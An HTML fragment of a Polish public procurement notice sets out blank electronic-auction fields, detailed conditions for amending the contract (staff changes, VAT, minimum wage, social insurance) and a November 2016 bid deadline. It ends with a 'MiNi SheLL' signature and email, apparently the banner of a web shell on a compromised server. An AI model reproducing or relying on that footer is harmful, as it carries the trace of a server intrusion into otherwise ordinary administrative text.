              <br />
                nie
              <br />
              Informacje dodatkowe:
              <br /><br /><b>IV.4) Licytacja elektroniczna  </b><br />
              Adres strony internetowej, na której będzie prowadzona licytacja elektroniczna:
              <br /><div style="padding-left: 20px"></div>

              Adres strony internetowej, na której jest dostępny opis przedmiotu zamówienia w licytacji elektronicznej:
              <br /><div style="padding-left: 20px"></div>

              Wymagania dotyczące rejestracji i identyfikacji wykonawców w licytacji elektronicznej, w tym wymagania techniczne urządzeń informatycznych:
              <br /><div style="padding-left: 20px"></div>

              Sposób postępowania w toku licytacji elektronicznej, w tym określenie minimalnych wysokości postąpień:
              <br /><div style="padding-left: 20px"></div>

              Informacje o liczbie etapów licytacji elektronicznej i czasie ich trwania: 
              <div style="padding-left: 20px">
                  Licytacja wieloetapowa
                  <table><tr><td>etap nr</td><td>czas trwania etapu</td></tr><tr><td></td><td></td></tr></table><br />
                Wykonawcy, którzy nie złożyli nowych postąpień, zostaną  zakwalifikowani do następnego etapu:
                
                  nie
                </div>

              Termin otwarcia licytacji elektronicznej:
              <br /><div style="padding-left: 20px"></div>

              Termin i warunki zamknięcia licytacji elektronicznej:
              <br /><div style="padding-left: 20px"></div><br />
              Istotne dla stron postanowienia, które zostaną wprowadzone do treści zawieranej umowy w sprawie zamówienia publicznego, albo ogólne warunki umowy, albo wzór umowy:
              <br /><div style="padding-left: 20px"></div><br />
              Wymagania dotyczące zabezpieczenia należytego wykonania umowy: 
              <br /><div style="padding-left: 20px"></div><br />
              Informacje dodatkowe:
              <br /><div style="padding-left: 20px"></div><b>IV.5) ZMIANA UMOWY</b><br /><b>Przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy:</b>
                tak

                <br />
                Należy wskazać zakres, charakter zmian oraz warunki wprowadzenia zmian:
                <br />1. Zamawiający przewiduje możliwość dokonania istotnych zmian postanowień zawartej Umowy w stosunku do treści oferty Wykonawcy, na podstawie której dokonano wyboru Wykonawcy, w następujących przypadkach:
1) zmiany osoby wskazanej przez Wykonawcę w wykazach osób, stanowiących Załączniki Nr 4 do Umowy tylko w przypadkach szczególnych (np. śmierć, długotrwała choroba uniemożliwiająca wykonanie przedmiotu Umowy) lub w przypadku, o którym mowa w § 5 ust. 7 Umowy, przy spełnieniu łącznie następujących przesłanek: 
a)jest dopuszczalna pod warunkiem zastąpienia inną osobą o co najmniej takich kwalifikacjach i doświadczeniu, jakich wymagał Zamawiający w SIWZ, co Wykonawca zobowiązany jest wykazać,
b)	zmiana osoby, o której mowa w lit. a, musi być uzasadniona przez Wykonawcę 
na piśmie i zaakceptowana przez Zamawiającego,
c)	w przypadku konieczności zmiany osoby biorącej udział w realizacji przedmiotu Umowy, Wykonawca powinien przedłożyć Zamawiającemu propozycję zmiany niezwłocznie po powzięciu informacji o okolicznościach powodujących zmianę osób, ale nie później niż przed rozpoczęciem realizacji przypisanych zleceń przez daną osobę
- zmiana ta nie spowoduje zwiększenia wysokości wynagrodzenia brutto, o którym mowa w § 6 ust. 1 Umowy;
2) zmiany wysokości łącznego wynagrodzenia brutto, o którym mowa w § 6 ust. 1 Umowy oraz cen jednostkowych poszczególnych rodzajów usług wskazanych w Załączniku Nr 2 do Umowy w sytuacji:
a) zmiany stawki podatku od towarów i usług (VAT),
b) zmiany wysokości minimalnego wynagrodzenia za pracę ustalonego na podstawie art. 2 ust. 3-5 ustawy z dnia 10 października 2002 r. o minimalnym wynagrodzeniu za pracę (Dz. U. z 2015 r. poz. 2008),
c) zmiany zasad podlegania ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub wysokości stawki składki na ubezpieczenia społeczne lub zdrowotne
- jeżeli będą one miały wpływ na koszty wykonania przedmiotu Umowy przez Wykonawcę. W takiej sytuacji łączne wynagrodzenie brutto, o którym mowa w § 6 ust. 1 Umowy oraz ceny jednostkowe poszczególnych rodzajów usług wskazanych w Załączniku Nr 2 do Umowy, mogą ulec odpowiedniemu zmniejszeniu lub zwiększeniu w zależności od skali wpływu powyższych zmian na koszty realizacji przedmiotu Umowy;
3) zmiana wysokości wynagrodzenia należnego Wykonawcy w przypadku zaistnienia sytuacji, o której mowa w pkt 2 lit. a, będzie odnosić się wyłącznie do niezrealizowanej części przedmiotu Umowy, zgodnie z terminami określonymi w Umowie, po dniu wejścia w życie przepisów zmieniających stawkę podatku od towarów i usług (VAT) oraz wyłącznie do części przedmiotu Umowy, do której zastosowanie znajdzie zmiana tej stawki;
4) w przypadku zmiany, o której mowa w pkt 1 lit. a, wartość wynagrodzenia netto nie zmieni się, a wartość wynagrodzenia brutto zostanie wyliczona na podstawie nowych przepisów;
5) zmiana wysokości wynagrodzenia w przypadku zaistnienia przesłanki, o której mowa w pkt 2 lit. b i c, będzie obejmować wyłącznie część wynagrodzenia należnego Wykonawcy, w odniesieniu do której nastąpiła zmiana wysokości kosztów wykonania Umowy przez Wykonawcę w związku z wejściem w życie przepisów odpowiednio zmieniających wysokość minimalnego wynagrodzenia za pracę lub dokonujących zmian w zakresie zasad podlegania ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub w zakresie wysokości stawki składki na ubezpieczenia społeczne lub zdrowotne;
6) w przypadku zmiany, o której mowa w pkt 2 lit. b, wynagrodzenie Wykonawcy ulegnie zmianie o kwotę odpowiadającą wzrostowi kosztu Wykonawcy w związku ze zwiększeniem wysokości wynagrodzeń pracowników Wykonawcy realizujących przedmiot Umowy do wysokości aktualnie obowiązującego minimalnego wynagrodzenia za pracę, z uwzględnieniem wszystkich obciążeń publicznoprawnych od kwoty wzrostu minimalnego wynagrodzenia. Kwota odpowiadająca wzrostowi kosztu Wykonawcy będzie odnosić się wyłącznie do części wynagrodzenia pracowników Wykonawcy realizujących przedmiot Umowy, o których mowa w zdaniu poprzedzającym, odpowiadającej zakresowi, w jakim wykonują oni prace bezpośrednio związane z realizacją przedmiotu Umowy; 
7) w przypadku zmiany, o której mowa w pkt 2 lit. c, wynagrodzenie Wykonawcy ulegnie zmianie o kwotę odpowiadającą zmianie kosztu Wykonawcy ponoszonego w związku z wypłatą wynagrodzenia pracowników Wykonawcy realizujących przedmiot Umowy. Kwota odpowiadająca zmianie kosztu Wykonawcy będzie odnosić się wyłącznie do części wynagrodzenia pracowników Wykonawcy realizujących przedmiot Umowy, o których mowa w zdaniu poprzedzającym, odpowiadającej zakresowi, w jakim wykonują oni prace bezpośrednio związane z realizacją przedmiotu Umowy; 
8) w celu zawarcia aneksu do Umowy, każda ze Stron może wystąpić do drugiej Strony z wnioskiem o dokonanie zmiany wysokości wynagrodzenia należnego Wykonawcy, wraz z uzasadnieniem zawierającym w szczególności szczegółowe wyliczenie całkowitej kwoty, o jaką wynagrodzenie Wykonawcy powinno ulec zmianie, oraz wskazaniem daty, od której nastąpiła bądź nastąpi zmiana wysokości kosztów wykonania Umowy uzasadniająca zmianę wysokości wynagrodzenia należnego Wykonawcy; 
9) w przypadku zmian, o których mowa w pkt 2 lit. b i c, niezależnie od Strony występującej z wnioskiem o zmianę, Wykonawca zobowiązany jest w terminie do 14 dni załączyć dokumenty, z których będzie wynikać, w jakim zakresie zmiany te mają wpływ na koszty wykonania przedmiotu Umowy, w szczególności: 
a) pisemne zestawienie wynagrodzeń (zarówno przed jak i po zmianie) pracowników Wykonawcy realizujących przedmiot Umowy, wraz z określeniem zakresu (części etatu), w jakim wykonują oni prace bezpośrednio związane z realizacją przedmiotu Umowy oraz części wynagrodzenia odpowiadającej temu zakresowi  w przypadku zmiany, o której mowa w pkt 2 lit. b, pisemne zestawienie wynagrodzeń (zarówno przed jak i po zmianie) pracowników Wykonawcy realizujących przedmiot Umowy, wraz z kwotami składek uiszczanych do Zakładu Ubezpieczeń Społecznych/Kasy Rolniczego Ubezpieczenia Społecznego w części finansowanej przez Wykonawcę, z określeniem zakresu (części etatu), w jakim wykonują oni prace bezpośrednio związane z realizacją przedmiotu Umowy oraz części wynagrodzenia odpowiadającej temu zakresowi  
w przypadku zmiany, o której mowa w pkt 2 lit. c.
<br /><b>IV.6) INFORMACJE ADMINISTRACYJNE </b><br /><br /><b>IV.6.1) Sposób udostępniania informacji o charakterze poufnym </b><i>(jeżeli dotyczy): </i><br /><br /><b>Środki służące ochronie informacji o charakterze poufnym</b><br /><br /><b>IV.6.2) Termin składania ofert lub wniosków o dopuszczenie do udziału w postępowaniu: </b><br />
              Data: 24/11/2016, godzina: 11:00,
              <br />
              Skrócenie terminu składania wniosków, ze względu na pilną potrzebę udzielenia zamówienia (przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem):
              <br />
                nie
              <br />
              Wskazać powody:
              <br /><br />
              Język lub języki, w jakich mogą być sporządzane oferty lub wnioski o dopuszczenie do udziału w postępowaniu
              <br />&gt;
              polski<br /><b>IV.6.3) Termin związania ofertą: </b>
                okres w dniach: 30 (od ostatecznego terminu składania ofert)
              <br /><b>IV.6.4) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia:</b>
                nie
              <br /><b>IV.6.5) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, jeżeli środki służące sfinansowaniu zamówień na badania naukowe lub prace rozwojowe, które zamawiający zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia, nie zostały mu przyznane</b>
                nie
              <br /><b>IV.6.6) Informacje dodatkowe:</b><br /></div></div></div>

Creat By MiNi SheLL
Email: jattceo@gmail.com